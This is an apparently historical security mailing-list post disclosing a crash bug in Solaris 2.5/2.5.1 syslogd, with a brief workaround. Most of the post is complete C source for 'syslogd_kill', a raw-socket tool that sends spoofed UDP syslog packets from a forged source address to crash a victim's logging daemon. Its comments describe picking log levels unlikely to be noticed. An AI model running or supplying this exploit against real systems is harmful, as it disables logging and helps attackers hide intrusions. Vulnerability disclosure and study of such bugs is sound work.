When Solaris syslogd receives an external message it attempts to do
a DNS lookup on the source IP. Many times, if this IP doesn't match a
DNS record then syslogd will crash with a Seg Fault. I have not had
time to diagnose completely how dangerous this is, as I didn't feel like
spending time debugging DNS packets, but at the very least it will disable
logging on the target machine. It also turns out that depending on the
source IP, syslogd will either Seg Fault or Bus Error which leads me
to believe this could be most harmful.
This has been tested on Solaris 2.5 and 2.5.1 for both Sparc and x86 with
full patches. Solaris 2.6 Sparc does not appear to be vulnerable.
The only solution at the moment (because I know of no way to disable
remote logging under Solaris) is to filter off udp port 514 whenever
possible and perhaps to respawn syslogd from inittab.
If this is an old bug, well the patch shoulda been included in Sun's
recommended security patches. If not, as it says, your milage may vary.
(Is there anyone left who isn't a security consultant?)
/*------------------------*/
/*
To effectively kill a Solaris<2.6 syslogd use in the following manner:
./syslogd_kill <ip-with-no-DNS> <victim IP>
My favorite is the 10.20.10.1 IP as this was the first IP I found which
killed syslogd and hasn't failed to work yet. Then again, I haven't found
a Solaris box that wasn't 2.6 that this hasn't worked on. Let me know
what you find.
Sorry if any credits were deleted, I really didn't know I was gonna
distribute this. This is the syslog_spoof code that was posted to
bugtraq a few weeks back, but modified to work with BSD and Solaris.
To compile under Solaris use: cc -lnsl -lsocket syslogd_kill.c
This code has been tested only under Solaris and FreeBSD 3.0.
If it doesn't work under Linux, just go get the old Linux code off
a bugtraq archive.
lb@inext.net
*/
/*
[NOTE: This may not apply anymore, I don't touch Linux. - lb]
The code compiles and works under Linux. Any Unix that has
SOCK_RAW/IPPROTO_RAW should be no problem (you may need to use BSD-style
struct ip though). It may use few improvements, like checking for possible
ICMP Port Unreachable errors in case the remote machine doesn't run syslogd
with remote reception turned on.
*/
#include <stdio.h>
#include <stdlib.h>
#include <syslog.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/tcpip.h>
#define IPVERSION 4
/* This is the stuff that actually gets sent. Feel free to change it */
#define MESSAGE_FAC LOG_LOCAL7
/* I use LOCAL7 because it is probably not caught as often - lb */
#define MESSAGE_PRI LOG_DEBUG
/* Debug is especially unlikely to be caught - lb*/
char message[] = {""}; /* This is the message which would have been */
/* spoofed and is still received by syslog before */
/* it dies.. so I made it empty. - lb */
struct raw_pkt_hdr {
struct ip iphdr;
struct udphdr udp;
};
struct raw_pkt_hdr* pkt;
void die(char *);
unsigned short checksum(unsigned short*,char);
int main(int argc,char** argv){
struct sockaddr_in sa;
struct sockaddr_in sa2;
int sock,packet_len;
char usage[] = {"\
syslog_deluxe, yuri volobuev'97\n\
modded by lb Oct97\n\
make syslog look the way you want, here there and everywhere\n\n\
\t usage: syslog_deluxe src_hostname dst_hostname\n\n\
\t to kill syslogd: syslog_deluxe <IP-with-no-DNS> <victim IP>\n\n"};
static int on = 1;
if(argc != 3)die(usage);
bzero((struct sockaddr_in *)&sa, sizeof(sa));
bzero((struct sockaddr_in *)&sa2, sizeof(sa2));
if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
perror("socket");
exit(1);
}
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(argv[2]);
sa2.sin_family = AF_INET;
sa2.sin_addr.s_addr = inet_addr(argv[1]);
packet_len = sizeof(struct raw_pkt_hdr)+strlen(message)+4;
pkt = calloc((size_t)1,(size_t)packet_len);
pkt->iphdr.ip_v = IPVERSION;
pkt->iphdr.ip_hl = 0x5;
pkt->iphdr.ip_len = packet_len;
pkt->iphdr.ip_ttl = 0x40;
pkt->iphdr.ip_p = IPPROTO_UDP;
pkt->iphdr.ip_sum = 0;
pkt->iphdr.ip_src.s_addr = sa2.sin_addr.s_addr;
pkt->iphdr.ip_dst.s_addr = sa.sin_addr.s_addr;
pkt->iphdr.ip_sum = checksum((unsigned short*)pkt,sizeof(struct ip));
pkt->udp.uh_sport = htons(514);
pkt->udp.uh_dport = htons(514);
pkt->udp.uh_ulen = htons(packet_len - sizeof(struct ip));
pkt->udp.uh_sum = 0; /* If you feel like screwing around with pseudo-headers
and stuff, you may of course calculate UDP checksum
as well. I chose to leave it zero, it's usually OK */
sprintf((char*)pkt+sizeof(struct raw_pkt_hdr),"<%d>%s",
(int)(MESSAGE_FAC | MESSAGE_PRI),message);
if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {
perror("setsockopt: IP_HDRINCL");
exit(1);
}
if(sendto(sock,(char *)&pkt->iphdr,packet_len,(int)NULL,(struct sockaddr*)&sa,sizeof(sa)) < 0){
perror("sendto");
exit(1);
}
exit(0);
}
void die(char* str){
fprintf(stderr,"%s\n",str);
exit(1);
}
unsigned short checksum(unsigned short* addr,char len){
/* This is a simplified version that expects even number of bytes */
register long sum = 0;
while(len > 1){
sum += *addr++;
len -= 2;
}
while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);
return ~sum;
}